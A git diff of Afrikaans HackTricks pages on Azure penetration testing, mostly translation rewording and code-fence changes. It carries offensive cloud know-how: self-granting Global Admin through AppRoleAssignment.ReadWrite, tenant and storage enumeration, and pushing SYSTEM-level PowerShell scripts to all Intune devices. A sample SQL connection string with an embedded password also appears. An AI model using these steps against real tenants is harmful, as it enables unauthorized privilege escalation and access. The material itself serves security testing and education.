+> 'n Aansoek met die toestemming **`AppRoleAssignment.ReadWrite`** kan **opgradeer na Global Admin** deur homself die rol toe te ken.\
> Vir meer inligting [**kyk hier**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48).
> [!NOTE]
-> 'n Geheime string wat die toepassing gebruik om sy identiteit te bewys wanneer dit 'n token aan vra, is die toepassingswagwoord.\
+> 'n Geheime string wat die aansoek gebruik om sy identiteit te bewys wanneer dit 'n token aan vra, is die aansoek wagwoord.\
> So, as jy hierdie **wagwoord** vind, kan jy toegang verkry as die **service principal** **binne** die **tenant**.\
> Let daarop dat hierdie wagwoord slegs sigbaar is wanneer dit gegenereer word (jy kan dit verander, maar jy kan dit nie weer kry nie).\
-> Die **eienaar** van die **toepassing** kan 'n **wagwoord** daaraan **byvoeg** (sodat hy dit kan naboots).\
+> Die **eienaar** van die **aansoek** kan 'n **wagwoord** daaraan **byvoeg** (sodat hy dit kan naboots).\
> Aanmeldings as hierdie service principals is **nie as riskant gemerk nie** en hulle **sal nie MFA hê nie.**
Dit is moontlik om 'n lys van algemeen gebruikte App ID's wat aan Microsoft behoort te vind in [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications)
@@ -717,7 +717,7 @@ az role assignment list --all --query "[?principalName=='carlos@carloshacktricks
{{#endtab }}
{{#tab name="Az PowerShell" }}
-```powershell
+```bash
# Get role assignments on the subscription
Get-AzRoleDefinition
# Get Role definition
@@ -729,7 +729,7 @@ Get-AzRoleAssignment -Scope /subscriptions//resourceGroups/ | fl *
{{#endtab }}
{{#tab name="Azure AD" }}
-```powershell
+```bash
# Enumerate Devices
Get-AzureADDevice -All $true | fl *
# List all the active devices (and not the stale devices)
@@ -850,7 +850,7 @@ Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember
{{#endtabs }}
> [!WARNING]
-> As 'n toestel (VM) **AzureAD-verbonden** is, gaan gebruikers van AzureAD **in staat wees om aan te meld**.\
+> As 'n toestel (VM) **AzureAD aangesluit** is, gaan gebruikers van AzureAD **in staat wees om aan te meld**.\
> Boonop, as die aangemelde gebruiker die **Eienaar** van die toestel is, gaan hy **lokale admin** wees.
### Administratiewe Eenhede
@@ -876,7 +876,7 @@ az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administr
{{#endtab }}
{{#tab name="AzureAD" }}
-```powershell
+```bash
# Get Administrative Units
Get-AzureADMSAdministrativeUnit
Get-AzureADMSAdministrativeUnit -Id
@@ -906,9 +906,9 @@ Get-AzureADMSScopedRoleMembership -Id | fl #Get role ID and role members
### Bevoorregte Identiteitsbestuur (PIM)
-Bevoorregte Identiteitsbestuur (PIM) in Azure help om **oormatige voorregte** te voorkom wat onnodig aan gebruikers toegeken word.
+Bevoorregte Identiteitsbestuur (PIM) in Azure help om **oormatige voorregte** aan gebruikers onnodig toe te ken.
-Een van die hoofkenmerke wat deur PIM verskaf word, is dat dit toelaat om nie rolle aan principals toe te ken wat konstant aktief is nie, maar om hulle **verkieslik te maak vir 'n tydperk (bv. 6 maande)**. Dan, wanneer die gebruiker daardie rol wil aktiveer, moet hy daarvoor vra en die tyd aan dui wat hy die voorreg nodig het (bv. 3 uur). Dan moet 'n **admin die versoek goedkeur**.\
+Een van die hoofkenmerke wat deur PIM verskaf word, is dat dit toelaat om nie rolle aan principals toe te ken wat konstant aktief is nie, maar hulle **verkieslik vir 'n tydperk (bv. 6 maande)** te maak. Dan, wanneer die gebruiker daardie rol wil aktiveer, moet hy daarvoor vra en die tyd aan dui wat hy die voorreg nodig het (bv. 3 uur). Dan moet 'n **admin die versoek goedkeur**.\
Let daarop dat die gebruiker ook kan vra om die tyd te **verleng**.
Boonop **stuur PIM e-posse** wanneer 'n bevoorregte rol aan iemand toegeken word.
@@ -923,7 +923,7 @@ Wanneer PIM geaktiveer is, is dit moontlik om elke rol met sekere vereistes te k
- Vereis regverdigheid op aktivering
- Vereis kaartjie-inligting op aktivering
- Vereis goedkeuring om te aktiveer
-- Maks tyd om die verkieslike toewysings te laat verval
+- Maks tyd om die verkieslike toewysings te laat verval
- Nog baie meer konfigurasie oor wanneer en aan wie om kennisgewings te stuur wanneer sekere aksies met daardie rol gebeur
### Voorwaardelike Toegang Beleide
@@ -936,7 +936,7 @@ Kontroleer:
### Entra Identiteitsbeskerming
-Entra Identiteitsbeskerming is 'n sekuriteitsdiens wat toelaat om te **ontdek wanneer 'n gebruiker of 'n aanmelding te riskant is** om aanvaar te word, wat toelaat om die gebruiker of die aanmeldpoging te **blokkeer**.
+Entra Identiteitsbeskerming is 'n sekuriteitsdiens wat toelaat om **te detecteer wanneer 'n gebruiker of 'n aanmelding te riskant is** om aanvaar te word, wat toelaat om die gebruiker of die aanmeldpoging te **blokkeer**.
Dit laat die admin toe om dit te konfigureer om **pogings te blokkeer** wanneer die risiko "Laag en bo", "Medium en bo" of "Hoog" is. Alhoewel, standaard is dit heeltemal **deaktiveer**:
@@ -947,12 +947,12 @@ Dit laat die admin toe om dit te konfigureer om **pogings te blokkeer** wanneer
### Entra Wagwoordbeskerming
-Entra Wagwoordbeskerming ([https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) is 'n sekuriteitskenmerk wat **help om die misbruik van swak wagwoorde te voorkom deur rekeninge te sluit wanneer verskeie onsuksesvolle aanmeldpogings plaasvind**.\
+Entra Wagwoordbeskerming ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) is 'n sekuriteitskenmerk wat **help om die misbruik van swak wagwoorde te voorkom deur rekeninge te sluit wanneer verskeie onsuksesvolle aanmeldpogings plaasvind**.\
Dit laat ook toe om 'n **aangepaste wagwoordlys te verbied** wat jy moet verskaf.
Dit kan **op beide** die wolkvlak en op-premises Aktiewe Gids toegepas word.
-Die standaardmodus is **Audiet**:
+Die standaardmodus is **Oudit**:
diff --git a/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md b/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md
index 23694b933..7c1b3027c 100644
--- a/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md
+++ b/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md
@@ -17,11 +17,11 @@ Leer & oefen GCP Hacking: .documents.azure.com:443/
{% endcode %}
#### Databasies
-Binne 'n rekening kan jy een of meer databasies skep, wat dien as logiese groepe van houers. 'n Databasis dien as 'n grense vir hulpbronbestuur en gebruikersregte. Databasies kan of die toegewezen deurvoer oor hul houers deel of toegewyde deurvoer aan individuele houers toewys.
+Binne 'n rekening kan jy een of meer databasies skep, wat dien as logiese groepe van houers. 'n Databasis dien as 'n grense vir hulpbronbestuur en gebruikersregte. Databasies kan of die toegewyde deurset oor hul houers deel of toegewyde deurset aan individuele houers toewys.
#### Houers
-Die kern eenheid van data-opberging is die houer, wat JSON-dokumente bevat en outomaties geindexeer word vir doeltreffende navraag. Houers is elasties skaalbaar en versprei oor partisie, wat bepaal word deur 'n deur gebruiker gedefinieerde partisie sleutel. Die partisie sleutel is krities vir die verseker van optimale prestasie en gelyke data verspreiding. Byvoorbeeld, 'n houer kan klantdata stoor, met "customerId" as die partisie sleutel.
+Die kern eenheid van data-opberging is die houer, wat JSON-dokumente bevat en outomaties geindexeer word vir doeltreffende navraag. Houers is elasties skaalbaar en versprei oor partisie, wat bepaal word deur 'n deur gebruiker gedefinieerde partisie sleutel. Die partisie sleutel is krities vir die verseker van optimale prestasie en eweredige data verspreiding. Byvoorbeeld, 'n houer kan klantdata stoor, met "customerId" as die partisie sleutel.
#### Enumerasie
@@ -83,7 +83,7 @@ az cosmosdb sql user-defined-function list --account-name --contai
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
-```powershell
+```bash
Get-Command -Module Az.CosmosD
# List all Cosmos DB accounts in a specified resource group.
@@ -243,7 +243,7 @@ az cosmosdb identity show --resource-group --name --source
{{#endtab}}
{{#tab name="Az PowerShell"}}
-```powershell
+```bash
Get-AzStorageAccount
# List File Shares
@@ -80,11 +80,11 @@ Get-AzStorageFile -ShareName "" -Context (New-AzStorageContext -Stor
{{#endtabs}}
> [!NOTE]
-> Standaard sal die `az` cli 'n rekeningsleutel gebruik om 'n sleutel te teken en die aksie uit te voer. Om die Entra ID hoofprivileges te gebruik, gebruik die parameters `--auth-mode login --enable-file-backup-request-intent`.
+> Standaard sal `az` cli 'n rekening sleutel gebruik om 'n sleutel te teken en die aksie uit te voer. Om die Entra ID hoofprivileges te gebruik, gebruik die parameters `--auth-mode login --enable-file-backup-request-intent`.
> [!TIP]
-> Gebruik die parameter `--account-key` om die rekeningsleutel aan te dui wat gebruik moet word\
-> Gebruik die parameter `--sas-token` met die SAS-token om toegang te verkry via 'n SAS-token
+> Gebruik die param `--account-key` om die rekening sleutel aan te dui wat gebruik moet word\
+> Gebruik die param `--sas-token` met die SAS-token om toegang te verkry via 'n SAS-token
### Verbinding
@@ -94,7 +94,7 @@ Jy moet die ``, `` en `` plekhouer
{{#tabs}}
{{#tab name="Windows"}}
-```powershell
+```bash
$connectTestResult = Test-NetConnection -ComputerName filescontainersrdtfgvhb.file.core.windows.net -Port 445
if ($connectTestResult.TcpTestSucceeded) {
# Save the password so the drive will persist on reboot
diff --git a/src/pentesting-cloud/azure-security/az-services/az-keyvault.md b/src/pentesting-cloud/azure-security/az-services/az-keyvault.md
index 92e77e259..b1c8b154d 100644
--- a/src/pentesting-cloud/azure-security/az-services/az-keyvault.md
+++ b/src/pentesting-cloud/azure-security/az-services/az-keyvault.md
@@ -8,7 +8,7 @@
Sien [Azure Key Vault REST API oorsig](https://learn.microsoft.com/en-us/azure/key-vault/general/about-keys-secrets-certificates) vir volledige besonderhede.
-Volgens die [**dokumentasie**](https://learn.microsoft.com/en-us/azure/key-vault/general/basic-concepts), ondersteun Vaults die stoor van sagteware en HSM-ondersteunde sleutels, geheime, en sertifikate. Gemanagte HSM-poele ondersteun slegs HSM-ondersteunde sleutels.
+Volgens die [**docs**](https://learn.microsoft.com/en-us/azure/key-vault/general/basic-concepts), ondersteun Vaults die stoor van sagteware en HSM-ondersteunde sleutels, geheime, en sertifikate. Gemanagte HSM-poele ondersteun slegs HSM-ondersteunde sleutels.
Die **URL-formaat** vir **vaults** is `https://{vault-name}.vault.azure.net/{object-type}/{object-name}/{object-version}` en vir gemanagte HSM-poele is dit: `https://{hsm-name}.managedhsm.azure.net/{object-type}/{object-name}/{object-version}`
@@ -23,7 +23,7 @@ Om toegang te verkry tot die geheime wat in die kluis gestoor is, is dit moontli
- **Kluis toegang beleid**
- **Azure RBAC** (mees algemeen en aanbeveel)
-- Jy kan al die fyn toestemming ondersteun in [https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/security#microsoftkeyvault](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/security#microsoftkeyvault)
+- Jy kan al die fyn toegangsregte wat ondersteun word, vind in [https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/security#microsoftkeyvault](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/security#microsoftkeyvault)
### Toegangsbeheer
@@ -42,7 +42,7 @@ Toegang tot 'n Key Vault hulpbron word deur twee vlakke beheer:
### Netwerktoegang
-In Azure Key Vault kan **vuurmuur** reëls opgestel word om **data vlak operasies slegs vanaf gespesifiseerde virtuele netwerke of IPv4 adresreekse** toe te laat. Hierdie beperking beïnvloed ook toegang deur die Azure administrasieportaal; gebruikers sal nie in staat wees om sleutels, geheime, of sertifikate in 'n sleutelkluis te lys as hul aanmeld IP-adres nie binne die gemagtigde reeks is nie.
+In Azure Key Vault kan **vuurmuur** reëls opgestel word om **data vlak operasies slegs toe te laat vanaf gespesifiseerde virtuele netwerke of IPv4 adresreekse**. Hierdie beperking beïnvloed ook toegang deur die Azure administrasiepaneel; gebruikers sal nie in staat wees om sleutels, geheime, of sertifikate in 'n sleutelkluis te lys as hul aanmeld IP-adres nie binne die gemagtigde reeks is nie.
Vir die analise en bestuur van hierdie instellings, kan jy die **Azure CLI** gebruik:
```bash
@@ -56,7 +56,7 @@ Boonop is dit moontlik om 'n **private eindpunt** te skep om 'n private verbindi
Wanneer 'n sleutel vault geskep word, is die minimum aantal dae wat toegelaat word vir verwydering 7. Dit beteken dat wanneer jy probeer om daardie sleutel vault te verwyder, dit **ten minste 7 dae sal neem om verwyder te word**.
-Dit is egter moontlik om 'n vault te skep met **verwyderingsbeskerming gedeaktiveer**, wat toelaat dat sleutel vault en voorwerpe gedurende die retensieperiode verwyder kan word. Alhoewel, sodra hierdie beskerming geaktiveer is vir 'n vault, kan dit nie gedeaktiveer word nie.
+Dit is egter moontlik om 'n vault te skep met **verwyderingsbeskerming gedeaktiveer**, wat toelaat dat sleutel vault en voorwerpe gedurende die retensieperiode verwyder word. Alhoewel, sodra hierdie beskerming geaktiveer is vir 'n vault, kan dit nie gedeaktiveer word nie.
## Enumerasie
@@ -92,7 +92,7 @@ az keyvault secret show --id https://.vault.azure.net/secrets/ --resource-group
# Get info
diff --git a/src/pentesting-cloud/azure-security/az-services/az-mysql.md b/src/pentesting-cloud/azure-security/az-services/az-mysql.md
index 8b222628b..9e5b37129 100644
--- a/src/pentesting-cloud/azure-security/az-services/az-mysql.md
+++ b/src/pentesting-cloud/azure-security/az-services/az-mysql.md
@@ -16,10 +16,10 @@ Leer & oefen GCP Hacking:
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
-```powershell
+```bash
Get-Command -Module Az.MySql
# Get all flexible servers in a resource group
@@ -138,7 +138,7 @@ mysql -h .mysql.database.azure.com -P 3306 -u -p
```
{% endcode %}
-U kan ook navrae met github uitvoer, maar die wagwoord en gebruiker is ook nodig. U moet 'n sql-lêer opstel met die navraag om uit te voer en dan:
+U kan ook navrae met github uitvoer, maar die wagwoord en gebruiker is ook nodig. U moet 'n sql-lêer opstel met die navraag om uit te voer en dan:
{% code overflow="wrap" %}
```bash
# Setup
@@ -174,7 +174,7 @@ az mysql flexible-server deploy run \
## ToDo
-* Soek 'n manier om toegang te verkry met mysql flexible-server ad-admin om te verifieer dat dit 'n privesc-metode is
+* Soek 'n manier om toegang te verkry met mysql flexible-server ad-admin om te verifieer dat dit 'n privesc metode is
diff --git a/src/pentesting-cloud/azure-security/az-services/az-postgresql.md b/src/pentesting-cloud/azure-security/az-services/az-postgresql.md
index 826abec7e..146a74bee 100644
--- a/src/pentesting-cloud/azure-security/az-services/az-postgresql.md
+++ b/src/pentesting-cloud/azure-security/az-services/az-postgresql.md
@@ -31,7 +31,7 @@ Leer & oefen GCP Hacking: --name
{{#endtab}}
{{#tab name="Az PowerShell"}}
-```powershell
+```bash
# List Servers
Get-AzSqlServer -ResourceGroupName ""
@@ -208,8 +208,8 @@ Get-AzSqlVM
### Verbind en voer SQL-navrae uit
-Jy kan 'n verbindingsstring (wat akrediteerbesonderhede bevat) vind van voorbeeld [opnoem van 'n Az WebApp](az-app-services.md):
-```powershell
+Jy kan 'n verbindsstring (wat akrediteerbesonderhede bevat) vind van byvoorbeeld [die opnoem van 'n Az WebApp](az-app-services.md):
+```bash
function invoke-sql{
param($query)
$Connection_string = "Server=tcp:supercorp.database.windows.net,1433;Initial Catalog=flag;Persist Security Info=False;User ID=db_read;Password=gAegH!324fAG!#1fht;MultipleActiveResultSets=False;Encrypt=True;TrustServerCertificate=False;Connection Timeout=30;"
@@ -228,7 +228,7 @@ $Connection.Close()
invoke-sql 'Select Distinct TABLE_NAME From information_schema.TABLES;'
```
U kan ook sqlcmd gebruik om toegang tot die databasis te verkry. Dit is belangrik om te weet of die bediener openbare verbindings toelaat `az sql server show --name --resource-group `, en ook of die vuurmuurreël ons IP toelaat om toegang te verkry:
-```powershell
+```bash
sqlcmd -S .database.windows.net -U -P -d
```
## Verwysings
diff --git a/src/pentesting-cloud/azure-security/az-services/az-storage.md b/src/pentesting-cloud/azure-security/az-services/az-storage.md
index 238bab678..7288d3867 100644
--- a/src/pentesting-cloud/azure-security/az-services/az-storage.md
+++ b/src/pentesting-cloud/azure-security/az-services/az-storage.md
@@ -4,22 +4,22 @@
## Basiese Inligting
-Azure Stoorrekeninge is fundamentele dienste in Microsoft Azure wat skaalbare, veilige, en hoogs beskikbare wolk **stoor vir verskeie datatipes** bied, insluitend blobs (binariese groot voorwerpe), lêers, rye, en tabelle. Hulle dien as houers wat hierdie verskillende stoor dienste saamgroepeer onder 'n enkele naamruimte vir maklike bestuur.
+Azure Stoorrekeninge is fundamentele dienste in Microsoft Azure wat skaalbare, veilige, en hoogs beskikbare wolk **stoor vir verskeie datatipes** bied, insluitend blobs (binarie groot voorwerpe), lêers, rye, en tabelle. Hulle dien as houers wat hierdie verskillende stoor dienste onder 'n enkele naamruimte groepeer vir maklike bestuur.
**Hoof konfigurasie opsies**:
-- Elke stoorrekening moet 'n **unieke naam oor alle Azure** hê.
+- Elke stoorrekening moet 'n **unik naam oor alle Azure** hê.
- Elke stoorrekening word in 'n **streek** of in 'n Azure uitgebreide sone ontplooi.
- Dit is moontlik om die **premium** weergawe van die stoorrekening te kies vir beter prestasie.
- Dit is moontlik om tussen **4 tipes redundansie te kies om** te beskerm teen rak, skyf en datacentrum **foute**.
**Sekuriteitskonfigurasie opsies**:
-- **Vereis veilige oordrag vir REST API operasies**: Vereis TLS in enige kommunikasie met die stoor.
+- **Vereis veilige oordrag vir REST API bedrywighede**: Vereis TLS in enige kommunikasie met die stoor.
- **Laat anonieme toegang op individuele houers toe**: As nie, sal dit nie moontlik wees om anonieme toegang in die toekoms toe te laat nie.
-- **Aktiveer stoorrekening sleutel toegang**: As nie, sal toegang met Gedeelde Sleutels verbied word.
+- **Aktiveer toegang tot stoorrekening sleutel**: As nie, sal toegang met Gedeelde Sleutels verbied word.
- **Minimum TLS weergawe**.
-- **Toegelate omvang vir kopie operasies**: Laat toe vanaf enige stoorrekening, vanaf enige stoorrekening van dieselfde Entra tenant of vanaf stoorrekening met privaat eindpunte in dieselfde virtuele netwerk.
+- **Toegelate omvang vir kopie bedrywighede**: Laat toe vanaf enige stoorrekening, vanaf enige stoorrekening van dieselfde Entra tenant of vanaf stoorrekening met privaat eindpunte in dieselfde virtuele netwerk.
**Blob Stoor opsies**:
@@ -38,13 +38,13 @@ Azure Stoorrekeninge is fundamentele dienste in Microsoft Azure wat skaalbare, v
- **Punt-in-tyd herstel vir houers**: Laat toe om houers na 'n vroeëre toestand te herstel.
- Dit vereis weergawe, verandering voer, en blob sagte verwydering om geaktiveer te wees.
-- **Aktiveer sagte verwydering vir blobs**: Dit stel 'n bewaringstydperk in dae vir verwyderde blobs (selfs oorgeskryf).
-- **Aktiveer sagte verwydering vir houers**: Dit stel 'n bewaringstydperk in dae vir verwyderde houers in.
-- **Aktiveer sagte verwydering vir lêer gedeeltes**: Dit stel 'n bewaringstydperk in dae vir verwyderde lêer gedeeltes in.
+- **Aktiveer sagte verwydering vir blobs**: Dit stel 'n behoud tydperk in dae vir verwyderde blobs (selfs oorgeskryf).
+- **Aktiveer sagte verwydering vir houers**: Dit stel 'n behoud tydperk in dae vir verwyderde houers.
+- **Aktiveer sagte verwydering vir lêer gedeeltes**: Dit stel 'n behoud tydperk in dae vir verwyderde lêer gedeeltes.
- **Aktiveer weergawe vir blobs**: Handhaaf vorige weergawes van jou blobs.
- **Aktiveer blob verandering voer**: Hou logs van skep, wysiging, en verwydering veranderinge aan blobs.
-- **Aktiveer weergawe-vlak onveranderlikheid ondersteuning**: Laat jou toe om 'n tyd-gebaseerde bewaring beleid op rekeningvlak in te stel wat op alle blob weergawes van toepassing sal wees.
-- Weergawe-vlak onveranderlikheid ondersteuning en punt-in-tyd herstel vir houers kan nie gelyktydig geaktiveer word nie.
+- **Aktiveer weergawe-vlak onveranderlikheid ondersteuning**: Laat jou toe om 'n tyd-gebaseerde behoud beleid op rekening-vlak in te stel wat op alle blob weergawes van toepassing sal wees.
+- Weergave-vlak onveranderlikheid ondersteuning en punt-in-tyd herstel vir houers kan nie gelyktydig geaktiveer word nie.
**Enkripsie konfigurasie opsies**:
@@ -53,19 +53,19 @@ Azure Stoorrekeninge is fundamentele dienste in Microsoft Azure wat skaalbare, v
### Stoor eindpunte
-
### Publieke Blootstelling
As "Laat Blob publieke toegang toe" **geaktiveer** is (standaard gedeaktiveer), wanneer 'n houer geskep word, is dit moontlik om:
-- **Publieke toegang tot blobs te gee** (jy moet die naam weet).
+- **Publieke toegang te gee om blobs te lees** (jy moet die naam weet).
- **Lys houer blobs** en **lees** hulle.
- Dit heeltemal **privaat** te maak.
-### Verbind met Stoor
+### Verbinding met Stoor
As jy enige **stoor** vind waarmee jy kan verbind, kan jy die hulpmiddel [**Microsoft Azure Storage Explorer**](https://azure.microsoft.com/es-es/products/storage/storage-explorer/) gebruik om dit te doen.
@@ -116,7 +116,7 @@ Content-Type + "\n" +
Date + "\n" +
CanonicalizedResource;
```
-- Dit is moontlik om 'n **lite gedeelde sleutel vir blob, wagqueue en lêer dienste** te genereer deur die volgende inligting te onderteken:
+- Dit is moontlik om 'n **lite gedeelde sleutel vir blob, wagte en lêer dienste** te genereer deur die volgende inligting te onderteken:
```bash
StringToSign = VERB + "\n" +
Content-MD5 + "\n" +
@@ -201,7 +201,7 @@ Azure Blob Storage ondersteun nou die SSH File Transfer Protocol (SFTP), wat vei
| ---------------------- | ------ | ------------------------------------ |
| **Lees** | `r` | Lees lêerinhoud. |
| **Skryf** | `w` | Laai lêers op en skep gidse. |
-| **Lys** | `l` | Lys inhoud van gidse. |
+| **Lys** | `l` | Lys inhoud van gidse. |
| **Verwyder** | `d` | Verwyder lêers of gidse. |
| **Skep** | `c` | Skep lêers of gidse. |
| **Wysig Eienaarskap** | `o` | Verander die eienaar gebruiker of groep. |
@@ -330,7 +330,7 @@ az storage account local-user list \
{{#endtab }}
{{#tab name="Az PowerShell" }}
-```powershell
+```bash
# Get storage accounts
Get-AzStorageAccount | fl
# Get rules to access the storage account
@@ -390,7 +390,7 @@ New-AzStorageBlobSASToken `
{{#endtab }}
{{#endtabs }}
-### Lêer Aandele
+### Lêer Deel
{{#ref}}
az-file-shares.md
diff --git a/src/pentesting-cloud/azure-security/az-services/az-table-storage.md b/src/pentesting-cloud/azure-security/az-services/az-table-storage.md
index 37d78161b..b6ff6a3ee 100644
--- a/src/pentesting-cloud/azure-security/az-services/az-table-storage.md
+++ b/src/pentesting-cloud/azure-security/az-services/az-table-storage.md
@@ -17,7 +17,7 @@ Daar **is nie 'n ingeboude rugsteunmeganisme** vir tabel stoor nie.
#### **RowKey**
-- Die **RowKey is die unieke identifiseerder** vir 'n entiteit binne 'n partisie. Wanneer dit saam met die PartitionKey gekombineer word, verseker dit dat elke entiteit in die tabel 'n wêreldwyd unieke identifiseerder het.
+- Die **RowKey is die unieke identifiseerder** vir 'n entiteit binne 'n partisie. Wanneer dit gekombineer word met die PartitionKey, verseker dit dat elke entiteit in die tabel 'n wêreldwyd unieke identifiseerder het.
- Voorbeeld: Vir die `"HR"` partisie, kan `RowKey` 'n werknemer ID wees, bv. `"12345"`.
#### **Ander Eienskappe (Pasgemaakte Eienskappe)**
@@ -63,7 +63,7 @@ az storage entity merge \
```
{{#endtab}}
{{#tab name="PowerShell"}}
-```powershell
+```bash
# Get storage accounts
Get-AzStorageAccount
@@ -74,15 +74,15 @@ Get-AzStorageTable -Context (Get-AzStorageAccount -Name -Reso
{{#endtabs}}
> [!NOTE]
-> Standaard sal die `az` cli 'n rekening sleutel gebruik om 'n sleutel te teken en die aksie uit te voer. Om die Entra ID hoofde se voorregte te gebruik, gebruik die parameters `--auth-mode login`.
+> Standaard sal `az` cli 'n rekeningsleutel gebruik om 'n sleutel te teken en die aksie uit te voer. Om die Entra ID-prinsipaal voorregte te gebruik, gebruik die parameters `--auth-mode login`.
> [!TIP]
-> Gebruik die parameter `--account-key` om die rekening sleutel aan te dui wat gebruik moet word\
+> Gebruik die parameter `--account-key` om die rekeningsleutel aan te dui wat gebruik moet word\
> Gebruik die parameter `--sas-token` met die SAS-token om toegang te verkry via 'n SAS-token
## Privilege Escalation
-Selfde as stoor privesc:
+Dieselfde as stoor privesc:
{{#ref}}
../az-privilege-escalation/az-storage-privesc.md
@@ -96,7 +96,7 @@ Selfde as stoor privesc:
## Persistence
-Selfde as stoor volharding:
+Dieselfde as stoor volharding:
{{#ref}}
../az-persistence/az-storage-persistence.md
diff --git a/src/pentesting-cloud/azure-security/az-services/intune.md b/src/pentesting-cloud/azure-security/az-services/intune.md
index efa421dbf..4d565fa59 100644
--- a/src/pentesting-cloud/azure-security/az-services/intune.md
+++ b/src/pentesting-cloud/azure-security/az-services/intune.md
@@ -2,28 +2,28 @@
{{#include ../../../banners/hacktricks-training.md}}
-## Basiese Inligting
+## Basic Information
-Microsoft Intune is ontwerp om die proses van **app en toestelbestuur** te stroomlyn. Sy vermoëns strek oor 'n diverse reeks toestelle, insluitend mobiele toestelle, rekenaars en virtuele eindpunte. Die kernfunksionaliteit van Intune draai om **die bestuur van gebruikers toegang en die vereenvoudiging van die administrasie van toepassings** en toestelle binne 'n organisasie se netwerk.
+Microsoft Intune is ontwerp om die proses van **app en toestelbestuur** te stroomlyn. Die vermoëns strek oor 'n diverse reeks toestelle, insluitend mobiele toestelle, rekenaars en virtuele eindpunte. Die kernfunksionaliteit van Intune draai om **die bestuur van gebruikers toegang en die vereenvoudiging van die administrasie van toepassings** en toestelle binne 'n organisasie se netwerk.
-## Wolk -> Op-Prem
+## Cloud -> On-Prem
'n Gebruiker met **Global Administrator** of **Intune Administrator** rol kan **PowerShell** skripte op enige **ingeskrewe Windows** toestel uitvoer.\
Die **skrip** loop met **privileges** van **SYSTEM** op die toestel slegs een keer as dit nie verander nie, en van Intune is dit **nie moontlik om die uitvoer** van die skrip te sien.
-```powershell
+```bash
Get-AzureADGroup -Filter "DisplayName eq 'Intune Administrators'"
```
-1. Teken in by [https://endpoint.microsoft.com/#home](https://endpoint.microsoft.com/#home) of gebruik Pass-The-PRT
-2. Gaan na **Devices** -> **All Devices** om die toestelle wat by Intune ingeskryf is, te kontroleer
-3. Gaan na **Scripts** en klik op **Add** vir Windows 10.
-4. Voeg 'n **Powershell script** by
-- .png>)
-5. Spesifiseer **Add all users** en **Add all devices** op die **Assignments** bladsy.
+1. Teken in by [https://endpoint.microsoft.com/#home](https://endpoint.microsoft.com/#home) of gebruik Pass-The-PRT
+2. Gaan na **Devices** -> **All Devices** om toestelle wat by Intune ingeskryf is te kontroleer
+3. Gaan na **Scripts** en klik op **Add** vir Windows 10.
+4. Voeg 'n **Powershell script** by
+- .png>)
+5. Spesifiseer **Add all users** en **Add all devices** op die **Assignments** bladsy.
-Die uitvoering van die skrip kan tot **een uur** neem.
+Die uitvoering van die skrip kan tot **een uur** neem.
-## References
+## References
-- [https://learn.microsoft.com/en-us/mem/intune/fundamentals/what-is-intune](https://learn.microsoft.com/en-us/mem/intune/fundamentals/what-is-intune)
+- [https://learn.microsoft.com/en-us/mem/intune/fundamentals/what-is-intune](https://learn.microsoft.com/en-us/mem/intune/fundamentals/what-is-intune)
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-services/vms/README.md b/src/pentesting-cloud/azure-security/az-services/vms/README.md
index 9b9e6f343..dc350ca70 100644
--- a/src/pentesting-cloud/azure-security/az-services/vms/README.md
+++ b/src/pentesting-cloud/azure-security/az-services/vms/README.md
@@ -12,14 +12,14 @@ az-azure-network.md
## VMs Basiese inligting
-Azure Virtuele Masjiene (VMs) is buigsaam, op aanvraag **cloud-gebaseerde bedieners wat jou toelaat om Windows of Linux bedryfstelsels te draai**. Hulle stel jou in staat om toepassings en werklas te ontplooi sonder om fisiese hardeware te bestuur. Azure VMs kan gekonfigureer word met verskillende CPU, geheue, en stoor opsies om spesifieke behoeftes te voldoen en te integreer met Azure dienste soos virtuele netwerke, stoor, en sekuriteitsinstrumente.
+Azure Virtuele Masjiene (VMs) is buigsaam, op aanvraag **cloud-gebaseerde bedieners wat jou toelaat om Windows of Linux bedryfstelsels te draai**. Hulle stel jou in staat om toepassings en werklas te ontplooi sonder om fisiese hardeware te bestuur. Azure VMs kan gekonfigureer word met verskillende CPU, geheue, en stoor opsies om spesifieke behoeftes te vervul en te integreer met Azure dienste soos virtuele netwerke, stoor, en sekuriteitsinstrumente.
### Sekuriteitskonfigurasies
-- **Beschikbaarheidsgebiede**: Beschikbaarheidsgebiede is onderskeie groepe datacenters binne 'n spesifieke Azure streek wat fisies geskei is om die risiko te minimaliseer dat verskeie gebiede deur plaaslike onderbrekings of rampe geraak word.
+- **Beschikbaarheidsgebiede**: Beschikbaarheidsgebiede is afsonderlike groepe datacenters binne 'n spesifieke Azure streek wat fisies geskei is om die risiko te minimaliseer dat verskeie gebiede deur plaaslike onderbrekings of rampe geraak word.
- **Sekuriteitstipe**:
- **Standaard Sekuriteit**: Dit is die standaard sekuriteitstipe wat nie enige spesifieke konfigurasie vereis nie.
-- **Vertroude Ontplooiing**: Hierdie sekuriteitstipe verbeter beskerming teen opstartkits en kernvlak malware deur Secure Boot en Virtual Trusted Platform Module (vTPM) te gebruik.
+- **Vertroude Ontplooiing**: Hierdie sekuriteitstipe verbeter beskerming teen opstartkits en kernel-vlak malware deur Secure Boot en Virtual Trusted Platform Module (vTPM) te gebruik.
